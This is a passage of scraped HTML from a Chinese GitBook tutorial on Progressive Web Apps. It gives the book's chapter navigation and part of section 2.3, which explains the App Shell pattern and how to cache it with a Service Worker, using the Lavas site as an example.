href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >2.3 App Shell</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#app-shell\"><b></b>App Shell</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4EC0;&#x4E48;&#x662F;-app-shell\"><b></b>&#x4EC0;&#x4E48;&#x662F; App Shell</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528;-app-shell\"><b></b>&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528; App Shell</a></li><li><span class=\"title-icon \"></span><a href=\"#app-shell-&#x7684;&#x6848;&#x4F8B;\"><b></b>App Shell &#x7684;&#x6848;&#x4F8B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;-app-shell--service-worker\"><b></b>&#x5982;&#x4F55;&#x5728; Vue &#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528; App Shell + Service Worker</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x542F;&#x52A8;&#x793A;&#x4F8B;\"><b></b>&#x542F;&#x52A8;&#x793A;&#x4F8B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x793A;&#x4F8B;&#x89E3;&#x6790;\"><b></b>&#x793A;&#x4F8B;&#x89E3;&#x6790;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x603B;&#x7ED3;\"><b></b>&#x603B;&#x7ED3;</a></li></ul></ul></div><a href=\"#app-shell\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"app-shell\"><a name=\"app-shell\" class=\"anchor-navigation-ex-anchor\" href=\"#app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"app-shell\" class=\"plugin-anchor\" href=\"#app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>App Shell</h1>\n<p>&#x5728;&#x7B2C;&#x4E00;&#x7AE0;&#x4E2D;&#x5DF2;&#x7ECF;&#x7B80;&#x5355;&#x4ECB;&#x7ECD;&#x8FC7; App Shell&#xFF0C;&#x8FD9;&#x4E2A;&#x5C0F;&#x8282;&#x6211;&#x4EEC;&#x4F1A;&#x66F4;&#x6DF1;&#x5165;&#x5B66;&#x4E60;&#x5982;&#x4F55;&#x6784;&#x5EFA;&#x548C;&#x4F7F;&#x7528; App Shell&#x3002;&#x5B83;&#x5E76;&#x4E0D;&#x662F;&#x4E00;&#x79CD;&#x65B0;&#x7684;&#x6280;&#x672F;&#x6216;&#x8005; API&#xFF0C;&#x800C;&#x662F;&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;&#x76F8;&#x7ED3;&#x5408;&#x4EA7;&#x751F;&#x7684;&#x4E00;&#x79CD;&#x6574;&#x7AD9;&#x8BBE;&#x8BA1;&#x65B9;&#x6848;&#xFF0C;&#x51CF;&#x5C11;&#x7528;&#x6237;&#x8FDB;&#x5165;&#x9875;&#x9762;&#x7684;&#x7B49;&#x5F85;&#x65F6;&#x95F4;&#xFF0C;&#x7528;&#x6237;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x770B;&#x5230;&#x9875;&#x9762;&#x7684;&#x4E3B;&#x4F53;&#x7ED3;&#x6784;&#xFF0C;&#x867D;&#x7136;&#x8FD9;&#x65F6;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x6CA1;&#x6709;&#x6E32;&#x67D3;&#x51FA;&#x6765;&#xFF0C;&#x4F46;&#x662F;&#x7ED9;&#x7528;&#x6237;&#x611F;&#x5B98;&#x4E0A;&#x7684;&#x4F53;&#x9A8C;&#x662F;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x5F88;&#x5FEB;&#xFF0C;&#x90A3;&#x4E48;&#x6765;&#x770B;&#x4E00;&#x4E0B;&#x4EC0;&#x4E48;&#x662F; App Shell&#x3002;</p>\n<h2 id=\"&#x4EC0;&#x4E48;&#x662F;-app-shell\"><a name=\"&#x4EC0;&#x4E48;&#x662F;-app-shell\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EC0;&#x4E48;&#x662F;-app-shell\" class=\"plugin-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EC0;&#x4E48;&#x662F; App Shell</h2>\n<p>PWA &#x591A;&#x6570;&#x91C7;&#x7528;&#x5355;&#x9875;&#x5E94;&#x7528;&#xFF08;Single Page Application&#xFF09;&#x7684;&#x65B9;&#x5F0F;&#x7F16;&#x5199;&#xFF0C;&#x8FD9;&#x6837;&#x80FD;&#x51CF;&#x5C11;&#x9875;&#x9762;&#x8DF3;&#x8F6C;&#x5E26;&#x6765;&#x7684;&#x5F00;&#x9500;&#xFF0C;&#x5E76;&#x4E14;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5728;&#x9875;&#x9762;&#x5207;&#x6362;&#x65F6;&#x589E;&#x52A0;&#x8FC7;&#x6E21;&#x52A8;&#x753B;&#xFF0C;&#x907F;&#x514D;&#x51FA;&#x73B0;&#x52A0;&#x8F7D;&#x65F6;&#x7684;&#x767D;&#x5C4F;&#x3002;&#x90A3;&#x4E48;&#x5728;&#x9875;&#x9762;&#x5207;&#x6362;&#x65F6;&#x9875;&#x9762;&#x4E0A;&#x56FA;&#x5B9A;&#x4E0D;&#x52A8;&#x7684;&#x5185;&#x5BB9;&#x5C31;&#x662F; App Shell &#x7684;&#x4E00;&#x90E8;&#x5206;&#x3002;</p>\n<p>&#x5E94;&#x7528;&#x4ECE;&#x663E;&#x793A;&#x5185;&#x5BB9;&#x4E0A;&#x53EF;&#x4EE5;&#x7C97;&#x7565;&#x7684;&#x5212;&#x5206;&#x4E3A;&#x5185;&#x5BB9;&#x90E8;&#x5206;&#x548C;&#x5916;&#x58F3;&#x90E8;&#x5206;&#x3002;App Shell &#x5C31;&#x662F;&#x5916;&#x58F3;&#x90E8;&#x5206;&#xFF0C;&#x5373;&#x9875;&#x9762;&#x7684;&#x57FA;&#x672C;&#x7ED3;&#x6784;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/appshell.png\" alt=\"App Shell &#x4E0E;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x4E0A;&#x9762;&#x53EA;&#x662F; App Shell &#x663E;&#x793A;&#x7684;&#x90E8;&#x5206;&#xFF0C;&#x90A3;&#x4E48;&#x662F;&#x8C01;&#x53BB;&#x52A0;&#x8F7D;&#x5185;&#x5BB9;&#x533A;&#x57DF;&#x5462;&#xFF0C;&#x662F;&#x8C01;&#x63A5;&#x7BA1;&#x4E86;&#x9875;&#x9762;&#x7684;&#x72B6;&#x6001;&#x5462;&#xFF0C;&#x662F;&#x8C01;&#x521D;&#x59CB;&#x5316;&#x9875;&#x9762;&#x7684;&#x6837;&#x5F0F;&#x5462;&#xFF1F;</p>\n<p>&#x4E5F;&#x662F; App Shell&#xFF0C;&#x5B83;&#x4E0D;&#x4EC5;&#x5305;&#x62EC;&#x7528;&#x6237;&#x80FD;&#x770B;&#x5230;&#x7684;&#x9875;&#x9762;&#x6846;&#x67B6;&#x90E8;&#x5206;&#xFF0C;&#x8FD8;&#x5305;&#x62EC;&#x7528;&#x6237;&#x770B;&#x4E0D;&#x5230;&#x7684;&#x4EE3;&#x7801;&#x903B;&#x8F91;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x603B;&#x7ED3;&#x4E00;&#x4E0B; App Shell &#x7684;&#x5B9A;&#x4E49;&#xFF0C;App Shell &#x662F;&#x9875;&#x9762;&#x80FD;&#x591F;&#x5C55;&#x73B0;&#x6240;&#x9700;&#x7684;&#x6700;&#x5C0F;&#x8D44;&#x6E90;&#x96C6;&#x5408;&#xFF0C;&#x5373;&#x652F;&#x6301;&#x7528;&#x6237;&#x754C;&#x9762;&#x6240;&#x9700;&#x7684;&#x6700;&#x5C0F;&#x7684; HTML&#x3001;CSS &#x548C; JavaScript &#x7B49;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x96C6;&#x5408;&#x3002;&#x91C7;&#x7528; App Shell &#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x90FD;&#x4F1A;&#x5148;&#x52A0;&#x8F7D; App Shell &#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x518D;&#x7531; App Shell &#x6839;&#x636E;&#x5F53;&#x524D;&#x9875;&#x9762; URL &#x6E32;&#x67D3;&#x5BF9;&#x5E94;&#x7684;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x3002;</p>\n<p>&#x4E0A;&#x56FE;&#x7ED9;&#x51FA;&#x4E86;&#x57FA;&#x672C;&#x7684; App Shell &#x4F8B;&#x5B50;&#xFF0C;&#x5B83;&#x5305;&#x542B;&#x5934;&#x90E8;&#x5BFC;&#x822A;&#xFF0C;&#x4FA7;&#x8FB9;&#x680F;&#x7B49;&#xFF0C;&#x5BF9;&#x4E8E;&#x4E00;&#x4E2A;&#x5E94;&#x7528;&#x6765;&#x8BF4;&#x5B83;&#x6709;&#x4E00;&#x4E2A;&#x76F8;&#x5BF9;&#x7A33;&#x5B9A;&#x7684;&#x7ED3;&#x6784;&#x3002;&#x4F46;&#x662F;&#x4E00;&#x4E2A;&#x7AD9;&#x70B9;&#x53EF;&#x4EE5;&#x6709;&#x591A;&#x4E2A; App Shell&#xFF0C;&#x4EE5;&#x7535;&#x5546;&#x7F51;&#x7AD9;&#x4E3E;&#x4F8B;&#xFF0C;&#x4E0D;&#x540C;&#x54C1;&#x7C7B;&#x7684;&#x5546;&#x54C1;&#x4E3B;&#x9898;&#x9986;&#xFF0C;&#x989C;&#x8272;&#x4E0D;&#x540C;&#xFF0C;&#x751A;&#x81F3;&#x7ED3;&#x6784;&#x4E5F;&#x4F1A;&#x6709;&#x4E00;&#x4E9B;&#x533A;&#x522B;&#xFF0C;&#x8FD9;&#x5C31;&#x9700;&#x8981;&#x5F00;&#x53D1;&#x8005;&#x7075;&#x6D3B;&#x5904;&#x7406;&#xFF0C;&#x53EF;&#x4EE5;&#x5206;&#x4E3A;&#x591A;&#x4E2A; Shell&#xFF0C;&#x6216;&#x8005;&#x5728;&#x4E00;&#x4E9B;&#x9875;&#x9762;&#x53BB;&#x6389; Shell&#x3002;</p>\n<h2 id=\"&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528;-app-shell\"><a name=\"&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528;-app-shell\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528;-app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528;-app-shell\" class=\"plugin-anchor\" href=\"#&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528;-app-shell\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5982;&#x4F55;&#x6B63;&#x786E;&#x4F7F;&#x7528; App Shell</h2>\n<p>&#x5355;&#x72EC;&#x4F7F;&#x7528; App Shell &#x5E76;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x597D;&#x7684;&#x4E3B;&#x610F;&#xFF0C;&#x5BF9;&#x4E8E;&#x901F;&#x5EA6;&#x8981;&#x6C42;&#x6BD4;&#x8F83;&#x9AD8;&#x7684;&#x7AD9;&#x70B9;&#x6765;&#x8BF4;&#xFF0C;&#x5B83;&#x4F1A;&#x5BFC;&#x81F4;&#x7528;&#x6237;&#x770B;&#x5230;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#x7684;&#x65F6;&#x95F4;&#x5EF6;&#x540E;&#xFF0C;&#x90A3;&#x4E48;&#x6709;&#x6CA1;&#x6709;&#x529E;&#x6CD5;&#x5462;&#xFF1F;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5F00;&#x53D1;&#x8005;&#x4F1A;&#x63D0;&#x5230;&#x4F7F;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x7684; HTTP &#x7F13;&#x5B58;&#xFF0C;&#x8FD9;&#x786E;&#x5B9E;&#x662F;&#x4E00;&#x4E2A;&#x4E0D;&#x9519;&#x7684;&#x4E3B;&#x610F;&#xFF0C;&#x4F46;&#x5B83;&#x4E5F;&#x6709;\b&#x4E00;&#x4E9B;&#x5F88;&#x96BE;&#x89E3;&#x51B3;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n<ul>\n<li>&#x96BE;&#x4EE5;&#x786E;&#x5B9A;&#x5408;&#x9002;&#x7684; HTTP &#x7F13;&#x5B58;&#x8BBE;&#x7F6E;&#x65F6;&#x95F4;&#xFF0C;&#x4E5F;&#x4E0D;&#x9002;&#x5408;&#x66F4;&#x65B0;&#x6BD4;&#x8F83;&#x9891;&#x7E41;&#x7684;&#x7AD9;&#x70B9;</li>\n<li>HTTP &#x7F13;&#x5B58;&#x53EA;&#x6709;&#x5728; URL &#x76F8;&#x7B49;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x624D;&#x80FD;&#x8D77;&#x4F5C;&#x7528;&#xFF0C;&#x8FD9;&#x4E0D;&#x7B26;&#x5408; PWA &#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x6709;&#x552F;&#x4E00; URL &#x7684;&#x8981;&#x6C42;</li>\n</ul>\n<p>&#x90A3;&#x4E48;&#x6709;&#x6CA1;&#x6709;&#x66F4;&#x597D;&#x7684;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x5462;&#xFF1F;&#x5728;&#x7B2C;&#x4E00;&#x7AE0;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x63D0;&#x5230;&#x4E86; Service Worker &#x53EF;&#x4EE5;&#x62E6;&#x622A;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x548C;&#x64CD;&#x4F5C;&#x672C;&#x5730;&#x7F13;&#x5B58;&#xFF0C;&#x8FD9;&#x7ED9;&#x4E86;&#x6211;&#x4EEC;&#x8DB3;&#x591F;&#x7684;&#x60F3;&#x8C61;&#x7A7A;&#x95F4;&#xFF0C;&#x53EF;&#x4EE5;&#x7ED3;&#x5408; App Shell &#x548C; Service Worker &#x6765;&#x89E3;&#x51B3;&#x7F13;&#x5B58;&#x95EE;&#x9898;&#x3002;</p>\n<ol>\n<li>&#x4F7F;&#x7528; Service Worker &#x9884;&#x7F13;&#x5B58; App Shell &#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;</li>\n<li>&#x7528;&#x6237;&#x8BBF;&#x95EE; Web &#x7AD9;&#x70B9;&#x65F6;&#xFF0C;&#x901A;&#x8FC7; Service Worker &#x62E6;&#x622A;&#x8BF7;&#x6C42;</li>\n<li>Service Worker &#x8FD4;&#x56DE;&#x7F13;&#x5B58;&#x4E2D;&#x7684; App Shell &#x7ED9;&#x6D4F;&#x89C8;&#x5668;</li>\n<li>App Shell &#x6839;&#x636E;&#x5F53;&#x524D;&#x7684; URL &#x518D;&#x53BB;&#x8BF7;&#x6C42;&#x5BF9;&#x5E94;&#x7684;&#x6570;&#x636E;&#x6765;&#x6E32;&#x67D3;</li>\n</ol>\n<p>&#x8FD9;&#x6837;&#x53EF;&#x4EE5;&#x89E3;&#x51B3;&#x4E0A;&#x9762;&#x63D0;&#x5230;&#x7684;&#x6240;&#x6709;&#x95EE;&#x9898;&#x3002;&#x4E0B;&#x9762;&#x662F; App Shell &#x548C; Service Worker &#x7ED3;&#x5408;&#x4F7F;&#x7528;&#x7684;&#x6536;&#x76CA;&#x3002;</p>\n<ul>\n<li>&#x7B2C;&#x4E8C;&#x6B21;&#x8BBF;&#x95EE;&#x901F;&#x5EA6;&#x6781;&#x5FEB;&#x4E14;&#x7A33;&#x5B9A;&#x3002;&#x7531;&#x4E8E; App Shell &#x7684;&#x5185;&#x5BB9;&#x5DF2;&#x7ECF;&#x7F13;&#x5B58;&#x5728;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#xFF0C;&#x7528;&#x6237;&#x7B2C;&#x4E8C;&#x6B21;&#x8BBF;&#x95EE;&#x4F1A;&#x5728;&#x6781;&#x77ED;&#x7684;&#x65F6;&#x95F4;&#x5185;&#x6E32;&#x67D3;&#x51FA; App Shell</li>\n<li>&#x4E3A;&#x7528;&#x6237;&#x8282;&#x7701;&#x6D41;&#x91CF;&#x3002;&#x7528;&#x6237;&#x5728;&#x540E;&#x7EED;&#x7684;&#x8BBF;&#x95EE;&#x90FD;&#x4E0D;&#x4F1A;&#x518D;&#x8BF7;&#x6C42; App Shell &#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x800C;&#x662F;&#x53EA;&#x8BF7;&#x6C42;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#xFF0C;&#x4E0D;&#x7528;&#x52A0;&#x8F7D;&#x4E00;&#x4E9B;&#x516C;&#x7528;&#x7684;&#x9759;&#x6001;&#x6587;&#x4EF6;&#x3002;</li>\n<li>&#x5177;&#x6709; Native App &#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;&#x65E0;&#x8BBA;&#x662F;&#x7B2C;&#x4E00;&#x6B21;&#x8BBF;&#x95EE;&#x8FD8;&#x662F;&#x540E;&#x7EED;&#x9875;&#x9762;&#x7684;&#x5207;&#x6362;&#xFF0C;&#x90FD;&#x5177;&#x6709;&#x552F;&#x4E00;&#x4E0D;&#x53D8;&#x7684;&#x533A;&#x57DF;&#xFF0C;&#x6CA1;&#x6709;&#x4F20;&#x7EDF; Web &#x9875;&#x9762;&#x5207;&#x6362;&#x7684;&#x767D;&#x5C4F;&#x3002;</li>\n</ul>\n<h2 id=\"app-shell-&#x7684;&#x6848;&#x4F8B;\"><a name=\"app-shell-&#x7684;&#x6848;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#app-shell-&#x7684;&#x6848;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"app-shell-&#x7684;&#x6848;&#x4F8B;\" class=\"plugin-anchor\" href=\"#app-shell-&#x7684;&#x6848;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>App Shell &#x7684;&#x6848;&#x4F8B;</h2>\n<p><a href=\"https://lavas.baidu.com\" target=\"_blank\">https://lavas.baidu.com</a> &#x662F;&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;&#x5F00;&#x53D1;&#x7684; Lavas &#x7684;&#x5B98;&#x7F51;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x4F53;&#x9A8C;&#x6BD4;&#x8F83;&#x597D;&#x7684; PWA &#x7AD9;&#x70B9;&#xFF0C;&#x90A3;&#x4E48;&#x6765;&#x5206;&#x6790;&#x4E00;&#x4E0B;&#x8FD9;&#x4E2A;&#x7AD9;&#x70B9;&#x662F;&#x5982;&#x4F55;&#x7ED3;&#x5408; Service Worker &#x548C; App Shell &#x7684;&#x3002;</p>\n<p>&#x4E0B;&#x56FE;&#x53F3;&#x4FA7;&#x5C31;&#x662F; Service Worker &#x7F13;&#x5B58;&#x5728; <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage\" target=\"_blank\">Cache Storage</a> &#x4E2D;&#x7684; App Shell &#x5185;&#x5BB9;&#xFF0C;&#x5DE6;&#x4FA7;&#x9876;&#x4E0A;&#x7684; banner &#x5C31;&#x662F; App Shell &#x7684;&#x53EF;&#x89C1;&#x533A;&#x57DF;&#x3002;&#x6574;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x5916;&#x58F3;&#x90E8;&#x5206;&#x88AB;&#x7F13;&#x5B58;&#x8D77;&#x6765;&#xFF0C;&#x5728;&#x4E0B;&#x6B21;&#x8BBF;&#x95EE;&#x65F6;&#x7531; Service Worker &#x53D6;&#x51FA;&#x5E76;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;&#xFF0C;&#x5982;&#x679C;&#x628A;&#x7F51;&#x7EDC;&#x65AD;&#x5F00;&#x518D;&#x5237;&#x65B0;&#x9875;&#x9762;&#xFF0C;&#x9875;&#x9762;&#x4F9D;&#x7136;&#x80FD;&#x591F;&#x6B63;&#x5E38;&#x6E32;&#x67D3;&#x3002;</p>\n<p><img src=\"img/lavas_official_site.png\" alt=\"Lavas &#x5B98;&#x7F51; Service Worker 